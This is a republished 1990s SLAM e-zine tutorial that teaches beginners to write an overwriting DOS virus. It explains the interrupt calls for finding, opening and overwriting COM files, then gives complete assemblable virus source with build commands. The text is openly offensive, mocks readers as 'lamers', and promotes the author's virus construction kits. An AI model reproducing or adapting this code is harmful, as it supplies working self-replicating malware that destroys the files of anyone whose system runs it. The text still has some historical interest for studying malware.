Copy Link

Add to Bookmark

Report

SLAM2.037: OverWriting Virus Tutorial by Virtual Daemon [SLAM]

eZine lover (@eZine)

Published in

Slam

· 2 years ago

" OverWriting Virii: The perfect choice for beginners "

by Virtual Daemon of SLAM Virus Team

Hi there! The reason why I'm writing this little tutorial is because there are some dumb heads out there who don't know how to use my OVCT...

FUCK YOU LAMERS! I don't know why I'm wasting my time with you...

There are so many guys that doesn't know what is a virus... God! We must stop this... We give to the public so many goodies (like stealth or polimorfic virii, or macro virii, or ...etc), and they don't know to make an overwriting virus... That's pathetic! ;-( All they know, is that they must take all the source we give it to them, modify it and put their stupid fucking names in our virii! And of course, we're saying that they will just start by stealing and that they'll learn from it, but not even 2% of all don't do that. The 98% are just waiting for us to give them more sources, so they can modify them more and spread them around saying that they made that virus... I'm sick of that! ;-(

I can write a whole book about lamers stealing others virii (mine too), but this was supposed to be a overwriting tutorial not a ... :)

Anyway, now that OVCT was officially released in SLAM#2, I've gotta do this for those poor guys... maybe this way they'll learn something!

In this phile I'll try to explain what are the steps in creating a overwriting virus, and at the end of the file I'll give some source code

examples...

Let's begin with the beginning!

Q: What is an overwriting virus?

R: An overwriting virus is a virus that when reproducing will infect the victim by overwriting the first part of the program with itself.

ex. PROGRAM + VIRUS = VIRUSAM

Q: What do I need to make an overwriting virus?

R: In the first place you need to have a copy of a programming language.
Overwriting virii can be done in many languages such as: Pascal, C, Asm, Basic etc., BUT the best language from all this is Assembler. Of course there are many Assembler-style languages out there, but the best of all is Turbo Assembler from Borland, Inc. So, if you don't have a copy,

GET ONE! Hey, when I said "get one", I ment "buy one" not "STEAL ONE"! ;)

In the 2nd place you need to know how to code in one of the languages listed above. Since this tutorial requires assembler skills, I suggest you to learn assembler, because this is the best language for creating virii. If you don't know how to code in assembler I SUGGEST YOU TO GET OUT OF HERE, AND START LEARNING ASSEMBLER! I'm not gonna teach you how to code in assembler...

Q: What is the structure of an overwriting virus?

R: Well, it's quite simple... First you need to find a file to infect it, right? Ok. After the file was found you need to open it for reading and writing. Has the file been opened? Good, now you can do all that stuff like verifying if already infected or you can just simply write your virus to the file. After virus was written, you need to close the file, and then to return to the operating system (DOS).

Well, that's all! Simple, ha'?

Ok. Now let's take it again, this time different:

Find a file to infect
Open the file
Write your virus to file
Close the file
Exit

REMEMBER that this is the simplest structure of an overwriting virus, so for more stuff check out the sources generated by OVCT!!!

Q: What are the DOS functions which I can use in creating a overwriting virus?

R: Like you've seen before, there are 5 steps in creating a simple overwriting virus. I'll take the steps again, this time with the related function...

1) Find a file to infect

- to find a file, you must use the 4Eh function (Find 1st Matching File) 
    Input: 
         AH = 4Eh 
         DS = SEGMENT ADRESS OF ASCIIZ FILESPEC TO FIND 
         DX = OFFSET  ADRESS  ---------- " " ---------- 
         CX = FILE ATTRIBUTES 

   Returns: 
         AX = ERROR CODE IF CF IS SET TO CY 
         DTA FILLED WITH DATA IF NO ERROR (DTA = Disk Transfer Address) 

   Simple code: 
         mov ah,4eh             ;find 1st file 
         mov cx,0               ;cx=0 => normal attributes 
         mov dx,offset file     ;this will put in DS:DX the address of file 
         int 21h 

   file  db '*.com',0           ;this means that will search for every file 
                                ;with the COM extension

Like I said after this code will execute the DTA will be filled with data, but first let's see what is the structure of this DTA:

   Disk Transfer Adress 
   *------------------* 

   Offset ≥ Size ≥ Contents of DTA 
   ------------------------------- 
     0h   ≥  21  ≥ reserved 
    15h   ≥   1  ≥ file attributes 
    16h   ≥   2  ≥ file creation time 
    18h   ≥   2  ≥ file creation date 
    1ah   ≥   4  ≥ file size 
    1eh   ≥  13  ≥ 13 byte ASCIIZ of the file name

Note: the size is given in bytes, so in assembler one byte value can be represented with 'db',2 bytes value with 'dw',4 bytes value with 'dd'...

    ex. file_attributes  db ? 
        file_time        dw ? 
        file_size        dd ?

You also must understand that the DTA lies in PSP (Program Segment Prefix) - the first 100h bytes in front of COM files. It's address is at 80h. For complex virii, you must move the DTA at another location so you wont have to fuck the PSP. Anyway since we're talking about overwriting virii, that's not important.

All we have to do after we found a file is to take it's name from DTA, because the following function (open) will need the file name. Like I said the DTA is at 80h. The file name is at 1eh in DTA, so all you have to do is to add 1eh to 80h, and 'voilà!'

ex. file_name=80h+1eh=9eh

2) OPEN THE FILE

- to open a file, you can use the 3Dh function (Open a File Handle) 
   Input: 
         AH = 3Dh 
         DS = SEGMENT ADRESS OF ASCIIZ FILENAME (our file name) 
         DX = OFFSET  ADRESS  ------------ " " ---------------- 
         AL = OPEN MODE 

            -> 01h FOR READING 
            -> 02h FOR WRITTING 
            -> 03h FOR READING & WRITING 

   Returns: 
            AX = ERROR CODE IF CF IS SET TO CY 
                 ELSE FILE HANDLE 

   Simple code: 
   ;- the following 2 instructions can be replaced with "mov ax,3d02h" 

         mov ah,3dh             ;open the file 
         mov al,02h             ;for reading & writing 
         mov dx,9eh             ;get file name from DTA 
         int 21h

Note: the file handle is now in AX, but if we have a look bellow at the other functions, we see that all of them needs the file handle in BX, so we have to change the BX register with AX.

      ex: xchg bx,ax            ;this can be done also with "mov bx,ax"

3) WRITE THE VIRUS TO FILE

- in order to write something to a file, you must use the 40h function (Write to File via Handle) 

   Input: 
         AH = 40h 
         BX = FILE HANDLE (this is why we changed the BX with the AX reg) 
         DX = OFFSET OF ADRESS OF THE BEGINNING OF VIRUS 
         CX = NUMBER OF BYTES TO WRITE 

   Returns: 
         AX = ERROR CODE IF CF IS SET TO CY 
              ELSE NUMBER OF BYTES ACTUALLY WRITTEN <- USE FOR ERROR TESTS 

   Simple code: 
         mov ah,40h                                   ;write the virus 
         mov dx,offset virus_start                    ;buffer to write 
         mov cx,offset virus_end - offset virus_start ;size of virus 
         int 21h

4) CLOSE THE FILE

- for closing the file, you must use the 3eh function (Close a File via Handle) 

    Input: 
          AH = 3Eh 
          BX = FILE HANDLE 

   Returns: 
          AX = ERROR CODE IF CF IS SET TO CY 

   Simple code: 
          mov ah,3eh             ;close the file 
          int 21h

5) Exit

- the simplest part 
    Here you can use 2 methods: 

     a) int 20h 
     b) mov ah,4ch 
        int 21h

The both methods do the same thing: they terminate a program and return to the operating system. Since the first one is smaller, I suggest using that one.

Q: Now that I have all the informations how can I put them all together?

R: GOD! If you're still asking me this after everything I showed you then you really suck! You're the biggest lamer! But... since I'm a good person I'll show you this too... ;-)

--------------------------------------------Ø cut here 

; Virus Name: Lamer 
; Virus Author: You 
; To assemble use: tasm lamer.asm 
;                  tlink /t lamer.obj 
; (of course this expect that you'll cut & paste this code into a file 
; called lamer.asm ;-) 

code segment 

assume cs:code,ds:code 

       org 100h       ;for COM files 

virus_start: 

       mov ah,4eh               ;find first file 
       mov cx,cx                ;cx=0 => normal files 
       mov dx,offset filespec   ;ASCIIZ address of what to search for 
       int 21h 

       mov ax,3d02h             ;I explained this to ya earlier ;) 
       mov dx,9eh               ;get file name from DTA 
       int 21h 

       xchg bx,ax               ;put file handle in bx 

       mov ah,40h               ;write the virus to file 
       mov dx,offset virus_start       ;buffer containing data to write 
       mov cx,offset virus_end - offset virus_start       ;size of virus 
       int 21h 

       mov ah,3eh               ;close the file 
       int 21h 

       int 20h                  ;return to DOS 

filespec   db '*.com',0 
virus_end: 
code ends 

end virus_start 

--------------------------------------------Ø cut here

Well, that's it! You've just learned how to create your first virus (I hope! ;-) If you don't understand this then GET LOST! There's no place for you in this life...:)

About OVCT (Overwritting Virus Construction Toolkit):
I made that shit not because I don't know to do anything else... I made it for you! Yes, for you "dear friend", so you can learn how to create some virii. When you think you're smart enough to create & understand non-overwriting virii or TSR virii, then you can use my VCT (Virus Construction Toolkit) which will generate non-overwriting runtime or TSR virii. Of course the generated virii will be stealth, encrypted, anti-debugger, polymorfic, etc. I think that the 1st version of VCT will be released during this summer (the summer of 1997). For more info about all this check the OVCT.DOC from OVCT Distribution kit, or read the SLAM Magazine...

Did you get all that? Anyway, I don't wanna see lamers "playing" with my kit, and releasing virii or spreading them to others computers!!! (I think this is one of the many reasons why I didn't included bombs in OVCT :). If I'm gonna see a virus created with OVCT in the field, and if I'll hear reports from people who got their computers infected with virii created with OVCT, YOU CAN SAY GOODBYE TO YOUR LIFE, LAMER, BECAUSE I'M COMING TO GET YA'!!! Btw: I'm not only a virus writter, I'm a GOD DAMN GOOD HACKER TOO!!! So, you'll hear from me... ;-)

Game over... Uh, uh .. I mean, I think this is the end of this shit...

P.S. If any of this informations helped any one in any way (not negative) creating a virus, please let me now by sending me a e-mail. And, if you're really oughnest with me, you'll get a special prize like the source to my latest virus :) :) :)! And believe me, you'll want it!

Greetz: